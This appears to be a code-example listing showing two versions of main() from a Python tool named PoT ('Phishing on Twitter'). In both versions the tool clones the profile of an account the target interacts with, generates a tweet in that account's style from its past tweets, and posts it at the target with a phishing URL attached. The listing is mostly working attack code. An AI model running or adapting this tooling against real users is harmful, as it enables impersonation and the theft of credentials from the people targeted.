コード例 #1
0
ファイル: PoT.py プロジェクト: xtenex/PoT
def main():
    try:
        auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
        auth.set_access_token(access_key, access_secret)
        auth.get_authorization_url()
        api = tweepy.API(auth)
    except tweepy.TweepError:
        print('Error')

    username = sys.argv[1]
    user = api.get_user(username)

    target = Fake(user)
    target.getMentions(api)
    spoofAccount = input("Select account: ")
    url = input("Phising URL: ")
    print("\n\n")

    spoofAc = Fake(api.get_user(spoofAccount))
    spoofAc.spoofProfile(api)

    tweets = spoofAc.getTweets(api)
    fakeTweetGenerator = TweetGenerator(tweets)
    fakeTweet = fakeTweetGenerator.setup(tweets)
    fakeTweet = ".@{} {} {} .".format(username, fakeTweet, url)

    print("\n***********************")
    print("This fake tweet has been sent:")
    print(colored(fakeTweet, 'green'))
    print("***********************")

    api.update_status(fakeTweet)  # send tweet
コード例 #2
0
ファイル: PoT.py プロジェクト: brahmanggi/PoT
def main():
    try:
        config = configparser.RawConfigParser()
        config.read(os.path.join(os.path.dirname(__file__), 'PoT.cfg'))
        consumer_key = config.get('twitter_api', 'consumer_key')
        consumer_secret = config.get('twitter_api', 'consumer_secret')
        access_token_key = config.get('twitter_api', 'access_token_key')
        access_token_secret = config.get('twitter_api', 'access_token_secret')

        parser = argparse.ArgumentParser(description='Phishing on Twitter')
        parser.add_argument('-u', '--username', help='username to phish with ')
        args = parser.parse_args()

        try:
            auth = tweepy.OAuthHandler(consumer_key, consumer_secret)
            auth.set_access_token(access_token_key, access_token_secret)
            auth.get_authorization_url()
            api = tweepy.API(auth)
        except tweepy.TweepError:
            print(bad + 'Authentication Error')
            exit(1)

        if args.username:
            username = args.username
        else:
            print("There is a mistake about username")
        user = api.get_user(username)

        target = Fake(user)
        target.getMentions(api)
        spoofAccount = input(que + "Select account: ")
        url = input(que + "Phishing URL: ")
        print(hardreturn * 2)

        spoofAc = Fake(api.get_user(spoofAccount))
        spoofAc.spoofProfile(api)

        tweets = spoofAc.getTweets(api)
        fakeTweetGenerator = TweetGenerator(tweets)
        fakeTweet = fakeTweetGenerator.setup(tweets)
        fakeTweet = ".@{} {} {} .".format(username, fakeTweet, url)

        print(hardreturn)
        print("***********************")
        print("This fake tweet has been sent:")
        print(colored(fakeTweet, 'green'))
        print("***********************")

        api.update_status(fakeTweet)  # send tweet
    except Exception as e:
        print(bad + str(e))